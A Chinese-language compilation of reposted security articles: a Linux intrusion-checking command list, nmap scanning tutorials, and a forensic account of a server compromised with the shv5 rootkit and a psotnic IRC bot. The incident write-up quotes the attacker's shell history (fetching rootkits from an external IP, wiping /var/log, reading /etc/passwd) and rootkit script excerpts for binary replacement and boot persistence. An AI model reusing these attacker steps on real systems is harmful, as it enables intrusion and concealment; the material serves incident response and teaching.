怀疑被入侵的后续追溯

 

 

http://bbs.chinaunix.net/thread-1917764-1-1.html

 

好狠,拉闸。。。我顶多先拔网线

倒腾了半天,在网上找到一个觉得不错的资料,分享,不过不知出处,作者莫怪
----------------------------------------------------------------------------------------
Linux入侵检查实用指令

1
可以得出filename正在运行的进程
#pidof filename
2
可以通过文件或者tcp udp协议看到进程
#fuser -n tcp port
3
可以看文件修改时间,大小等信息
#stat filename
4
看加载模块
#lsmod
5
看rpc服务开放
#rpcinfo -p
6
看网卡是否混杂模式(promiscuous mod)
#dmesg|grep eth0

7
看命令是否被更改,象md5sum一样
#rpm -Vf /bin/ls
rpm -Vf /bin/ps正常无输出,否则输出SM5....T /bin/su之类提示
如果rpm的数据库被修改则不可靠了,只能通过网络或则cdrom中的rpm数据库来比较
如:rpm -Vvp ftp://mirror.site/dir/RedHat/RPMS/fileutils-3.16-10.i386.rpm
以下常用命令需要检查
/usr/bin/chfn
usr/bin/chsh
/bin/login
/bin/ls
/usr/bin/passwd
/bin/ps
/usr/bin/top
/usr/sbin/in.rshd
/bin/netstat
/sbin/ifconfig
/usr/sbin/syslogd
/usr/sbin/inetd
/usr/sbin/tcpd
/usr/bin/killall
/sbin/pidof
/usr/bin/find

8
如果检查的是已经确认被黑客攻击的机器,完美建议:
1.dd一个备份硬盘上
2.mount 一个光驱,上面有静态编译好的程序ls ps netstat等常用工具
3.用nc把执行步骤输出到远程机器上

9
用md5sum保存一个全局的文件
find /sbin -type f|xargs md5sum >1st
检查是否改变
md5sum -c 1st|grep OK

10
避免在已经攻击的机器上过多写操作,可以:
1.在另一个机器192.168.20.191上运行
nc -L -p 1234 >some_audit_output.log 注意L是大写,可以永久侦听
2.被攻击机器上运行
command|nc 192.168.20.191 1234

script >/mnt/export.log
检测完毕后用ctrl+d保存记录

11
通过进程查找可疑程序方法:
1.netstat -anp 这步主要靠经验,把可疑的都记录下来
2.进入内存目录 cd /proc/3299
3. ls -la,一般exe可以看到执行文件路径,
4.再进入fd目录查看文件句柄,至此一般都可以找出执行程序
5.ps -awx 把刚才可疑的进程观察一遍

12
如果hacker把日志删除了:
1.查找所有未被删除彻底的日志,比如history,sniffer日志
2./proc/pid/fd 目录里提示已经删除的文件
l-wx------ 1 root root 64 Aug 10 20:54 15 -> /var/log/httpd/error_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 18 -> /var/log/httpd/ssl_engine_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 19 -> /var/log/httpd/ssl_mutex.800 (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 20 -> /var/log/httpd/access_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 21 -> /var/log/httpd/access_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 22 -> /var/log/httpd/ssl_request_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 23 -> /var/log/httpd/ssl_mutex.800 (deleted)
lrwx------ 1 root root 64 Aug 10 20:54 3 -> /var/run/httpd.mm.800.sem (deleted)
lrwx------ 1 root root 64 Aug 10 20:54 4 -> /var/log/httpd/ssl_scache.sem (deleted)

3.用静态编译的lsof |grep deleted查看哪些被删除
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
gpm 1650 root 1u REG 8,2 5 149743 /var/run/gpm208raa (deleted)

4.得到文件inode号,这里是149743
5.使用sleuthkit工具来恢复,
df /var得出硬盘位置是sda1
icat /dev/sda1 149743
6.把恢复的文件仔细查看,一般都可以找到痕迹了

这样会使分析编译后的程序困难
gcc -04 -evil.c -o evil
strip ./evil

1.file查看文件类型,是否静态编译、是否strip过
2.strings显示程序中的asicc字符串,通过字符串再到google上找
3.strace是跟踪系统调用(这个还不知道怎么样用)strace -p pid
4.gdb(更不会用啦)

13
有些进程不在进程里显示,但在/proc中有痕迹,可比较找出隐藏的进程
proc是伪文件系统,为/dev/kmem提供一个结构化的接口,便于系统诊断并查看每一个正在运行的可执行文件的环境
#ps -ef|awk '{print $2}'|sort -n|uniq >1
#ls /porc |sort -n|uniq >2
#diff 1 2

14
应急工具tct,里面有许多使用工具,包括icat等数据恢复
如果在被攻击的机器取证,可以mount一块硬盘,也可以备份到网络中,方法:
a.在网络机器运行 nc -L -p 1234 >abc.img
b.肉鸡运行 dd if=/dev/hdb5 count 20000 bs=1024|nc 192.168.0.1 1234 -w 3
如果备份过大,则可以侦听多个端口,执行多个dd拷贝,然后把文件合并 cat 2 >>1.img

15
ldd可以显示一个可执行程序所依赖的动态库,但间接依赖库无法显示出来
[root@rh9bk root]# ldd /bin/ls
libtermcap.so.2 => /lib/libtermcap.so.2 (0x40022000)
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
strace工具是一个调试工具,它可以显示出一个程序在执行过程中的所有系统调用,
[root@rh9bk root]# strace -eopen /bin/ls >/dev/null
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libtermcap.so.2", O_RDONLY) = 3
open("/lib/tls/libc.so.6", O_RDONLY) = 3
open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
open("/etc/mtab", O_RDONLY) = 3
open("/proc/meminfo", O_RDONLY) = 3

strace -o out telnet 192.168.100.100
o参数的含义是将strace的输出信息生成到out文件中,这个文件名是可以随意制定的。
我们打开out文件会发现大量的系统调用信息,我们关心的主要是open这个系统调用的信息,open是用来打开文件的,不仅调用动态库要先用open打开,读取配置文件也使用open,所以用sed写一个简单的脚本就可以输出out文件中所有的open信息
sed -n -e ‘/^open/p’ out
输出信息如下:
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libutil.so.1", O_RDONLY) = 3
open("/usr/lib/libncurses.so.5", O_RDONLY) = 3
open("/lib/i686/libc.so.6", O_RDONLY) = 3
open("/etc/resolv.conf", O_RDONLY) = 3
open("/etc/nsswitch.conf", O_RDONLY) = 3
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libnss_files.so.2", O_RDONLY) = 3
open("/etc/services", O_RDONLY) = 3
open("/etc/host.conf", O_RDONLY) = 3
open("/etc/hosts", O_RDONLY) = 3
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libnss_nisplus.so.2", O_RDONLY) = 3
open("/lib/libnsl.so.1", O_RDONLY) = 3
open("/var/nis/NIS_COLD_START", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libnss_dns.so.2", O_RDONLY) = 3
open("/lib/libresolv.so.2", O_RDONLY) = 3
open("/etc/services", O_RDONLY) = 3
open("/root/.telnetrc", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/terminfo/l/linux", O_RDONLY) = 4
从输出中可以发现ldd显示不出来的几个库
/lib/libnss_dns.so.2 ,
/lib/libresolv.so.2 ,
/lib/libnsl.so.1,
/lib/libnss_nisplus.so.2,
/lib/libnss_files.so.2

strace -o aa -ff -p PID会产生aa名称开头的多个文件

grep open aa* | grep -v -e No -e null -e denied| grep WR 查看其打开调用的文件信息。

16
要把日志发送到日志主机步骤:
a.vi /etc/syslog.conf *.* @192.168.20.163 把所有日志发送到192.168.20.163
b.service syslog restart
c.在192.168.20.163安装kiwisyslogd
d.远程登陆,故意输入错误密码,可看到日志主机上马上有报警,也可以tcpdump port 514观察

17
如果知道黑客是0927入侵的,则:
touch -t 09270000 /tmp/a
find / \( -newer /tmp/a -o -cnewer /tmp/a \) -l
这样那天改变和创建的文件被列出

18
整盘复制
dd if=/dev/sda of=/dev/sdb bs=1024
分区复制 测试过
dd if=/dev/sda1 of=/abc bs=1024 这里是保存在了根分区,用mount查看是sda2
启动另一个linux
输入:mount /dev/sda2 /mnt
这里可以看到刚才的abc文件,输入:mount aa /tmp -o loop
这里看到就是刚才镜像的文件内容

19 find
查找指定字符的文件(测试发现二进制也可以发现,是strings后的内容)
find /tmp -type f -exec grep "no exist" {} \; -print

find /etc/rc.d -name '*crond' -exec file {} ;

查找/etc/rc.d目录下面所有以crond结束的文件,并使用file指令查看其属性,注意:exec和file间是一个空格,file和{}间是一个空格,file和;之间是一个空格,;是一个整体。

20
kill -SIGSEGV 进程号 会产生一个core文件,用strings可以看信息,用一个c程序可以重新构建它的可执行程序,study/unix/下保存一个文章。测试没产生core,原因不详。

 

 

======================

http://www.91ri.org/891.html

十条nmap常用的扫描命令

NMap,也就是Network Mapper,是Linux下的网络扫描和嗅探工具包。

nmap是在网络安全渗透测试中经常会用到的强大的扫描器。功能之强大,不言而喻。下面介绍一下它的几种扫描命令。具体的还是得靠大家自己学习,因为实在太强大了。

1) 获取远程主机的系统类型及开放端口

nmap -sS -P0 -sV -O <target>

这里的 < target > 可以是单一 IP, 或主机名,或域名,或子网

-sS TCP SYN 扫描 (又称半开放,或隐身扫描)
-P0 允许你关闭 ICMP pings.
-sV 打开系统版本检测
-O 尝试识别远程操作系统

其它选项:

-A 同时打开操作系统指纹和版本检测
-v 详细输出扫描情况.

nmap -sS -P0 -A -v < target >

2) 列出开放了指定端口的主机列表

nmap -sT -p 80 -oG – 192.168.1.* | grep open

3) 在网络寻找所有在线主机

nmap -sP 192.168.0.*

或者也可用以下命令:

nmap -sP 192.168.0.0/24

指定 subnet

4) Ping 指定范围内的 IP 地址

nmap -sP 192.168.1.100-254

5) 在某段子网上查找未占用的 IP

nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp

6) 在局域网上扫找 Conficker 蠕虫病毒

nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254

7) 扫描网络上的恶意接入点 (rogue APs).

nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout

2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m

–max-scan-delay 1000 -oA wapscan 10.0.0.0/8

8 ) 使用诱饵扫描方法来扫描主机端口

sudo nmap -sS 192.168.0.10 -D 192.168.0.2

9) 为一个子网列出反向 DNS 记录

nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘

10) 显示网络上共有多少台 Linux 及 Win 设备?

sudo nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os | grep Linux | wc -l) Linux

device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) device”

转自网络网络安全www.91ri.org)收集整理。

 

 

http://www.nxadmin.com/tools/600.html

Nmap是一款网络扫描和主机检测的非常有用的工具。 Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。它可以适用于winodws,linux,mac等操作系统。Nmap是一款非常强大的实用工具,可用于:

检测活在网络上的主机(主机发现)
检测主机上开放的端口(端口发现或枚举)
检测到相应的端口(服务发现)的软件和版本
检测操作系统,硬件地址,以及软件版本
检测脆弱性的漏洞(Nmap的脚本)
Nmap是一个非常普遍的工具,它有命令行界面和图形用户界面。本人包括以下方面的内容:

介绍Nmap

扫描中的重要参数

操作系统检测

Nmap使用教程

Nmap使用不同的技术来执行扫描,包括:TCP的connect()扫描,TCP反向的ident扫描,FTP反弹扫描等。所有这些扫描的类型有自己的优点和缺点,我们接下来将讨论这些问题。

Nmap的使用取决于目标主机,因为有一个简单的(基本)扫描和预先扫描之间的差异。我们需要使用一些先进的技术来绕过防火墙和入侵检测/防御系统,以获得正确的结果。下面是一些基本的命令和它们的用法的例子:

扫描单一的一个主机,命令如下:

#nmap nxadmin.com

#nmap 192.168.1.2

扫描整个子网,命令如下:

#nmap 192.168.1.1/24

扫描多个目标,命令如下:

#nmap 192.168.1.2 192.168.1.5

扫描一个范围内的目标,如下:

#nmap 192.168.1.1-100 (扫描IP地址为192.168.1.1-192.168.1.100内的所有主机)

如果你有一个ip地址列表,将这个保存为一个txt文件,和namp在同一目录下,扫描这个txt内的所有主机,命令如下:

#nmap -iL target.txt

如果你想看到你扫描的所有主机的列表,用以下命令:

#nmap -sL 192.168.1.1/24

扫描除过某一个ip外的所有子网主机,命令:

#nmap 192.168.1.1/24 -exclude 192.168.1.1

扫描除过某一个文件中的ip外的子网主机命令

#nmap 192.168.1.1/24 -exclude file xxx.txt  (xxx.txt中的文件将会从扫描的主机中排除)

扫描特定主机上的80,21,23端口,命令如下

#nmap -p80,21,23 192.168.1.1

Nmap入侵扫描工具使用教程

从上面我们已经了解了Nmap的基础知识,下面我们深入的探讨一下Nmap的扫描技术.

Tcp SYN Scan (sS)

这是一个基本的扫描方式,它被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。这个就是SYN扫描的优势.

如果Nmap命令中没有指出扫描类型,默认的就是Tcp SYN.但是它需要root/administrator权限.

#nmap -sS 192.168.1.1

Tcp connect() scan(sT)

如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式.不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口.

#nmap -sT 192.168.1.1

Udp scan(sU)

顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.

#nmap -sU 192.168.1.1

FIN scan (sF)

有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手.

root@bt:~# nmap -sF 192.168.1.8

Starting Nmap 5.51  at 2012-07-08 19:21 PKT

Nmap scan report for 192.168.1.8

Host is up (0.000026s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

111/tcp open|filtered rpcbind

FIN扫描也不会在目标主机上创建日志(FIN扫描的优势之一).个类型的扫描都是具有差异性的,FIN扫描发送的包只包含FIN标识,NULL扫描不发送数据包上的任何字节,XMAS扫描发送FIN、PSH和URG标识的数据包.

PING Scan (sP)

PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.

#nmap -sP 192.168.1.1

版本检测(sV)

版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCP SYN扫描开放了哪些端口.

#nmap -sV 192.168.1.1

Idle scan (sL)

Idle scan是一种先进的扫描技术,它不是用你真实的主机Ip发送数据包,而是使用另外一个目标网络的主机发送数据包.

#nmap -sL 192.168.1.6 192.168.1.1

Idle scan是一种理想的匿名扫描技术,通过目标网络中的192.168.1.6向主机192.168.1.1发送数据,来获取192.168.1.1开放的端口

有需要其它的扫描技术,如 FTP bounce(FTP反弹), fragmentation scan(碎片扫描), IP protocol scan(IP协议扫描),以上讨论的是几种最主要的扫描方式.

Nmap的OS检测(O)

Nmap最重要的特点之一是能够远程检测操作系统和软件,Nmap的OS检测技术在渗透测试中用来了解远程主机的操作系统和软件是非常有用的,通过获取的信息你可以知道已知的漏洞。Nmap有一个名为的nmap-OS-DB数据库,该数据库包含超过2600操作系统的信息。 Nmap把TCP和UDP数据包发送到目标机器上,然后检查结果和数据库对照。

Initiating SYN Stealth Scan at 10:21
Scanning localhost (www.nxadmin.com) [1000 ports]
Discovered open port 111/tcp on www.nxadmin.com
Completed SYN Stealth Scan at 10:21, 0.08s elapsed (1000 total ports)
Initiating OS detection (try #1) against localhost (www.nxadmin.com)
Retrying OS detection (try #2) against localhost (www.nxadmin.com)

上面的例子清楚地表明,Nmap的首次发现开放的端口,然后发送数据包发现远程操作系统。操作系统检测参数是O(大写O)

Nmap使用从初级到高级

 

Nmap的操作系统指纹识别技术:

设备类型(路由器,工作组等)
运行(运行的操作系统)
操作系统的详细信息(操作系统的名称和版本)
网络距离(目标和攻击者之间的距离跳)

如果远程主机有防火墙,IDS和IPS系统,你可以使用-PN命令来确保不ping远程主机,因为有时候防火墙会组织掉ping请求.-PN命令告诉Nmap不用ping远程主机。

# nmap -O -PN 192.168.1.1/24

以上命令告诉发信主机远程主机是存活在网络上的,所以没有必要发送ping请求,使用-PN参数可以绕过PING命令,但是不影响主机的系统的发现.

Nmap的操作系统检测的基础是有开放和关闭的端口,如果OS scan无法检测到至少一个开放或者关闭的端口,会返回以下错误:

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS Scan的结果是不可靠的,因为没有发现至少一个开放或者关闭的端口.

Nmap扫描工具使用教程

 

这种情况是非常不理想的,应该是远程主机做了针对操作系统检测的防范。如果Nmap不能检测到远程操作系统类型,那么就没有必要使用-osscan_limit检测。

渗透测试工具Nmap使用

想好通过Nmap准确的检测到远程操作系统是比较困难的,需要使用到Nmap的猜测功能选项, –osscan-guess 猜测认为最接近目标的匹配操作系统类型。

# nmap -O –osscan-guess 192.168.1.1

总结

Nmap是一个非常强大的工具,它具有覆盖渗透测试的第一方面的能力,其中包括信息的收集和统计。本文从初级到高级的讲解了Nmap入侵扫描工具的使用.希望对大家有所帮助.

原文链接:http://resources.infosecinstitute.com/nmap/

E文水平非常一般,部分内容可能不甚准确,请大家参照原文阅读.

 

 

http://www.2cto.com/Article/201309/242913.html

最近有个朋友让我去帮他看一下他的linux服务器.说是apache启动不了,有很多诡异的情况.后来证明绝不是apache启动不了这么简单.
登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:

    lars@server1:~$ ls
    ls: invalid option -- h
    Try `ls --help' for more information.

为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了.

    lars@server1:~$ alias ls
    alias ls='ls -sh --color=auto'
    lars@server1:~$ unalias ls
    lars@server1:~$ ls
    backup
    lars@server1:~$

虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题.

    lars@server1:~$ sudo /etc/init.d/apache2 start
    Password:
     * Starting apache 2.0 web server...
    (2): apache2: could not open error log file /var/log/apache2/error.log.
    Unable to open logs
     ...fail!

纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题.

    lars@server1:~$ sudo -i
    Password:
    root@server1:~# ls
    ls: unrecognized prefix: do
    ls: unparsable value for LS_COLORS environment variable
    total 44
      4 .                 4 .bashrc           4 .ssh
      4 ..                4 .lesshst          8 .viminfo
      8 .bash_history     4 .profile          4 .vimrc

很不幸的发现,”ls”又出问题了.同样,用”alias”命令:

    root@server1:~# alias ls
    alias ls='ls -sa --color=auto'
    root@server1:~# unalias ls
    root@server1:~# ls
    root@server1:~#

这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了.
   

root@server1:~# cat -n .bash_history
    ...
    340  w
    341  cd /var
    342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
    343  tar -zxf shv5.tar.gz
    344  rm -rf shv5.tar.gz
    345  mv shv5 .x
    346  cd .x
    347  ./setup zibi.joe.149 54098
    348  passwd
    349  passwd
    350  ps aux
    351  crontab -l
    352  cat /etc/issue
    353  cat /etc/passwd
    354  w
    355  who
    356  cd /usr/lib/libsh
    357  ls
    358  hide +
    359  chmod +x hide
    360  hide +
    361  ./hide +
    362  cd /var/.x
    363  mkdir psotnic
    364  cd psotnic
    365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
    366  tar -zxf psotnic0.2.5.tar.gz
    367  rm -rf psotnic0.2.5.tar.gz
    368  ls
    369  mv psotnic-0.2.5-linux-static-ipv6 synscan
    370  ./synscan
    371  vi conf
    372  vi conf1
    373  mv synscan smbd
    374  smbd -c conf
    375  ls
    376  ps aux
    377  ls
    378  ./smbd -c conf
    379  ./smbd -c conf1
    380  ./smbd conf
    381  ./smbd conf1
    382  ./smbd -a conf conf1
    383  rm -rf conf.dec
    384  rm -rf conf1.dec
    385  cd /usr/lib/libsh
    386  ./hide +
    387  exit
    ...
    425  ssh ftp@62.101.251.166
    426  w
    427  ls
    428  ls
    429  cd /var/.x
    430  ls
    431  cd psotnic/
    432  ls
    433  rm -rf /var/log/*
    434  exit
    435  ls
    436  cd /var/.x/psotnic/
    437  ls
    438  vi conf2
    439  ./smbd -c conf2
    440  ./smbd conf2
    441  ./smbd -a conf conf1 conf2
    442  rm -rf conf2.dec
    443  cd ..
    444  ls
    445  cd /usr/lib/libsh
    446  hide +
    447  ./hide +
    448  exit
    449  ps aux
    450  cd /var/.x
    451  ls
    452  ls
    453  cd psotnic/
    454  ls
    455  cat pid.MastaH
    456  kill -9 2030
    457  ./synscan -a conf conf1
    458  ./smbd -a conf conf1
    459  cd /usr/lib/libsh
    460  ./hide +

Woht!这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵.
通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧.
   

root@server1:/var/.x# file setup
    setup: Bourne-Again shell script text executable
    root@server1:/var/.x# wc -l setup
    825 setup
    root@server1:/var/.x# head -17 setup
    #!/bin/bash
    #
    # shv5-internal-release
    # by: PinT[x] April/2003
    #
    # greetz to:
    #
    # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
    #                 C00L|0, GolDenLord, Spike, zion ...
    # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
    # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
    # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
    # [*] And all others who diserve to be here but i forgot
    # [*] them at the moment !
    #
    # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)

    mv $SSHDIR/sshd /sbin/ttyload
    chmod a+xr /sbin/ttyload
    chmod o-w /sbin/ttyload
    touch -acmr /bin/ls /sbin/ttyload
    chattr +isa /sbin/ttyload
    kill -9 `pidof ttyload` >/dev/null 2>&1
    ....
    # INITTAB SHUFFLING
    chattr -isa /etc/inittab
    cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
    cat /etc/inittab |grep getty > /tmp/.init2
    echo "# Loading standard ttys" >> /tmp/.init1
    echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

它也替换了一些linux的标准命令.

    # Backdoor ps/top/du/ls/netstat/etc..
    cd $BASEDIR/bin
    BACKUP=/usr/lib/libsh/.backup
    mkdir $BACKUP
    ...
    # ls ...
    chattr -isa /bin/ls
    cp /bin/ls $BACKUP
    mv -f ls /bin/ls
    chattr +isa /bin/ls

这样子就可以解释为什么”ls”命令输出那么奇怪了.
“.backup”文件夹保存了被替换之前的命令程序.

    root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
    total 552
    -rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find
    -rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig
    -rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls
    -rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum
    -rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat
    -rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps
    -rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree
    -rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top

看了一下时间戳,居然是在圣诞节.
很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:

    root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
    eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls
    0a07cf554c1a74ad974416f60916b78d  /bin/ls
 
    root@server1:~# file /bin/ls
    /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked
    (uses shared libs), for GNU/Linux 2.0.0, stripped
 
    root@server1:~# file /usr/lib/libsh/.backup/ls
    /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked
    (uses shared libs), for GNU/Linux 2.6.0, stripped

这个rootkit(“sh5.tar.gz”)是从下面的地址下载的.

    root@server1:~# dig +short -x 83.19.148.250
    4lo.bydg.pl.

这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.
这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)



所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:

安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的.
然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了.

    371  vi conf
    372  vi conf1
    ....
    378  ./smbd -c conf
    379  ./smbd -c conf1
    380  ./smbd conf
    381  ./smbd conf1
    382  ./smbd -a conf conf1

让我们执行一下382这条命令,看看会发生什么.

    root@server1:/var/.x/psotnic# ./smbd -a conf conf1
 
    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
    Copyright (C) 2003-2005 Grzegorz Rusin
 
    [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
    [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
    [+] Added 2 psotnics to cron

哇!它添加了cron定时任务.赶紧看一看:
 

   root@server1:/var/.x/psotnic# crontab -l
    */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
    */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程:

    root@server1:~# cd /var/.x/psotnic; ./smbd conf
 
    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
    Copyright (C) 2003-2005 Grzegorz Rusin
 
    [*] Acting as LEAF
    [+] Config loaded
    [+] Going into background [pid: 5724]
    root@server1:/var/.x/psotnic# ./smbd conf1
 
    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
    Copyright (C) 2003-2005 Grzegorz Rusin
 
    [*] Acting as LEAF
    [+] Config loaded
    [+] Going into background [pid: 5727]
    root@server1:/var/.x/psotnic#

用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程.

    root@server1:/var/.x/psotnic# ps axuw | grep smb
    root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D
    root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D
    root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf
    root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1

最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么:

    root@server1:~# strace -p 5727
    ...
    connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)
    ...
    connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

可以看到它尝试连接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:
 

    root@server1:~# dig +short -x 83.18.74.235
    manhattan.na.pl.
    root@server1:~# dig +short -x 195.159.0.92
    ircnet.irc.powertech.no.

又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器.
tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”#aik”频道.

    :irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no
    :irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1
 
    :578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik
    :irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo
    :irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.
    :irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW
    :irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW
